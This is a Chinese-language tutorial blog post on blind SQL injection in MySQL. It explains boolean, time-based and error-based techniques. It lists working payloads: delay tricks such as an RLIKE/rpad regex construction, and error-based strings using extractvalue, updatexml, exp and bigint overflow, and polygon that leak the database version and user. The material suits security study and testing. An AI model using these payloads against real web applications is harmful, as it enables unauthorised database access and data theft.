MENU

SQL Injection——Blind Injection

October 8, 2018 • Web

SQL Injection——Blind Injection

盲注就是SQL注入过程中,在执行sql语句后,没有数据回显到前台页面。我们需要一些其他的的方法来进行判断注入的进程。

盲注分为三类:

  • 时间盲注
  • 布尔盲注
  • 报错盲注

布尔盲注

基础知识:

  1. ascii() 返回字符串最左面的字符的ascii码

  1. 截取字符串函数:
  • left(str,len)从左侧截取str字符串的前len位

  • right()从右侧截取str字符串的前len位
  • substr(str,option,len) 从option位置开始截取str的len个字符
  • sbustring()有两种截取方式第一种和substr相同,第二种substring(str from pos for len)

  • mid(str,pos,len) 从pos位置开始 截取str字符串 的len个字符
  • ord() 返回字符串第一个字符的ASCII 值。

  1. regexp 正则函数

  1. like模糊匹配查询

所谓布尔盲注就是通过构造逻辑判断关系进行注入时

正确和错误的语句使页面有些许变化,例如content-length大小或者正确错误返回的页面有差异

时间盲注

先来看数据库中如何延时

Mysql

sleep()睡眠多少s
BENCHMARK(n,function)执行n此function函数


sleep函数比较容易理解就不在叙述,BENCHMARK()函数是通过重复执行某个函数来达到延时的效果,通过上图可以看到明显的效果
上面两种是比较常见的还有其他函数可以延时:

GET_LOCK(name,time)函数定义一个名称为name、持续时间长度为time秒的锁
RLIKE()通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短

get_lock函数需要开两个session才能利用,利用条件比较复杂

concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'

等同于sleep(5)

rike在mysql8.0不会产生延时效果会直接爆出ERROR 3699 (HY000): Timeout exceeded in regular expression match.错误,利用条件mysql<8.0

报错盲注

XML解析错误extractvalue(rand(),concat(0x3a,(select version())))
updatexml(rand(),concat(0x7e,(select version()),0x7e),1)
双查询错误SELECT 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))<br/>a from information_schema.columns group by a
获取当前数据库SELECT a()此处a可以为任意字符
double 数值类型超出范围SELECT exp(~(select * FROM(SELECT USER())a)
bigint 超出范围SELECT !(select * from (select user())x) - ~0
polygon()、multipolygon()SELECT * from test where id=1 and polygon((select * from(select * from(select user())a)b));
linestring()、multilinestring()SELECT * from test where id=1 and linestring((select * from(select * from(select user())a)b));

double 数值类型超出范围可参考http://www.cnblogs.com/lcamry/articles/5509124.html

bigint 超出范围 参考:https://osandamalith.com/2015/07/08/bigint-overflow-error-based-sql-injection/

参考资料

Last Modified: October 9, 2018